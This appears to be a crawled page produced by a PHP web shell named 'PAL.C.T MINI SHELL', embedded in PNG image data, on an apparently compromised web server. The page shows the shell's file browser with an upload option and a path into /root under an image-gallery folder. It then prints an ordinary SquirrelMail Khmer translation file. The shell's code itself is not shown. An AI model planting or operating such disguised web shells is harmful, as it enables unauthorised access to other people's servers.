‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /var/www/html/img_galeri/2r1asasas/root/usr/share/squirrelmail/locale/km/LC_MESSAGES/
upload
files >> /var/www/html/img_galeri/2r1asasas/root/usr/share/squirrelmail/locale/km/LC_MESSAGES/forum.po

# Khmer (km) forum Translation
# Khoem Sokhem <khoemsokhem@khmeros.info>, 2008, 2009.
# Copyright (c) 2008-2009 KhmerOS Project
# Copyright (c) 1999-2009 The SquirrelMail Project Team
msgid ""
msgstr ""
"Project-Id-Version: forum\n"
"Report-Msgid-Bugs-To: Sebastian Dolmen <sdolmen %AT% gmail %DOT% com>\n"
"POT-Creation-Date: 2007-01-19 13:10+0100\n"
"PO-Revision-Date: 2009-04-24 09:25+0700\n"
"Last-Translator: Khoem Sokhem <khoemsokhem@khmeros.info>\n"
"Language-Team: Khmer <en@li.org>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: KBabel 1.11.4\n"
"Plural-Forms: nplurals=1; plural=0;\n"

#: forum.php:52
msgid "&nbsp;Forums"
msgstr "&nbsp;ážœáŸáž‘ិកា"

#: forum.php:53
msgid "Threads"
msgstr "ážáŸ’សែស្រឡាយ"

#: forum.php:54
msgid "Last thread"
msgstr "ážáŸ’សែស្រឡាយ​ចុងក្រោយ"

#: hooks.php:23
msgid "Forum"
msgstr "ážœáŸáž‘ិកា"

#: hooks.php:47
msgid "Discussion board"
msgstr "ផ្ទាំង​ពិភាក្សា"

#: hooks.php:49
msgid "A browser-based administrative interface."
msgstr "ចំណុចប្រទាក់​គ្រប់គ្រង​ដែល​មាន​មូលដ្ឋាន​លើ​កម្មវិធី​រុករក ។"

#: list.php:66 post.php:88 read.php:75
msgid "Forum list"
msgstr "បញ្ជី​វáŸáž‘ិកា"

#: list.php:66
msgid "New thread"
msgstr "ážáŸ’សែស្រឡាយ​ážáŸ’មី"

#: list.php:72
msgid "Current Page:"
msgstr "ទំពáŸážšâ€‹áž”ច្ចុប្បន្ន ៖"

#: list.php:72
msgid "of"
msgstr "នៃ"

#: list.php:75 list.php:77
msgid "Previous"
msgstr "មុន"

#: list.php:80 list.php:82
msgid "Next"
msgstr "បន្ទាប់"

#: list.php:88
msgid "&nbsp;Subject"
msgstr "&nbsp;ប្រធានបទ"

#: list.php:89
msgid "Views"
msgstr "ទិដ្ឋភាព"

#: list.php:90
msgid "Posts"
msgstr "ប្រកាស"

#: list.php:91
msgid "Last post"
msgstr "ប្រកាស​ចុងក្រោយ"

#: list.php:97 list.php:100
msgid "by"
msgstr "ដោយ"

#: options.php:66 options.php:80
msgid "Please fill in the name and the description."
msgstr "សូម​បំពáŸáž‰â€‹ážˆáŸ’មោះ និង​សáŸáž…ក្ដី​ពិពណ៌នា ។"

#: options.php:110
msgid "Options - Discussion board"
msgstr "ជម្រើស - ផ្ទាំង​ពិភាក្សា"

#: options.php:136 options.php:154 options.php:161 options.php:198
msgid "Modify forum"
msgstr "កែប្រែ​វáŸáž‘ិកា"

#: options.php:142 options.php:179
msgid "Name:"
msgstr "ឈ្មោះ ៖"

#: options.php:146 options.php:183
msgid "Description:"
msgstr "សáŸáž…ក្ដី​ពិពណ៌នា ៖"

#: options.php:151 options.php:188
msgid "Forum will be visible"
msgstr "ážœáŸáž‘ិកា​​នឹង​មើល​ឃើញ"

#: options.php:164
msgid "Selected forum:"
msgstr "ážœáŸáž‘ិកា​ដែល​បាន​ជ្រើស ៖"

#: options.php:164
msgid "Confirm delete of selected forum?"
msgstr "អះអាង​លុប​វáŸáž‘ិកា​ដែល​បាន​ជ្រើស​ឬ ?"

#: options.php:164
msgid "Confirm delete"
msgstr "អះអាង​លុប"

#: options.php:173
msgid "Create forum"
msgstr "បង្កើážâ€‹ážœáŸáž‘ិកា"

#: options.php:191
msgid "Add this forum"
msgstr "បន្ážáŸ‚ម​វáŸáž‘ិកា​នáŸáŸ‡"

#: options.php:203
msgid "Forum name"
msgstr "ឈ្មោះ​វáŸáž‘ិកា"

#: options.php:207
msgid "Modify"
msgstr "កែប្រែ"

#: options.php:207
msgid "Delete"
msgstr "លុប"

#: options.php:209
msgid "No forum found."
msgstr "រក​មិនឃើញ​វáŸáž‘ិកា​ទáŸÂ áŸ”"

#: post.php:72
msgid "Please fill in the subject and the body."
msgstr "សូម​បំពáŸáž‰â€‹áž€áŸ’នុង​ប្រធាន​បទ និង​ážáž½Â áŸ”"

#: post.php:88 read.php:75
msgid "Thread list"
msgstr "បញ្ជី​ážáŸ’សែ​ស្រឡាយ"

#: post.php:101
msgid "Subject"
msgstr "ប្រធាន"

#: post.php:107
msgid "Post new topic"
msgstr "ប្រកាស​ប្រធាន​បទ​ážáŸ’មី"

#: read.php:63
msgid "Please fill in the body of your reply."
msgstr "សូម​បំពáŸáž‰â€‹ážáž½â€‹áž“ៃ​សáŸáž…ក្ដី​ឆ្លើយážáž”​របស់​អ្នក ។"

#: read.php:108
msgid "Reply"
msgstr "ឆ្លើយážáž”"

#: read.php:114
msgid "Post message"
msgstr "ប្រកាស​សារ"

ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚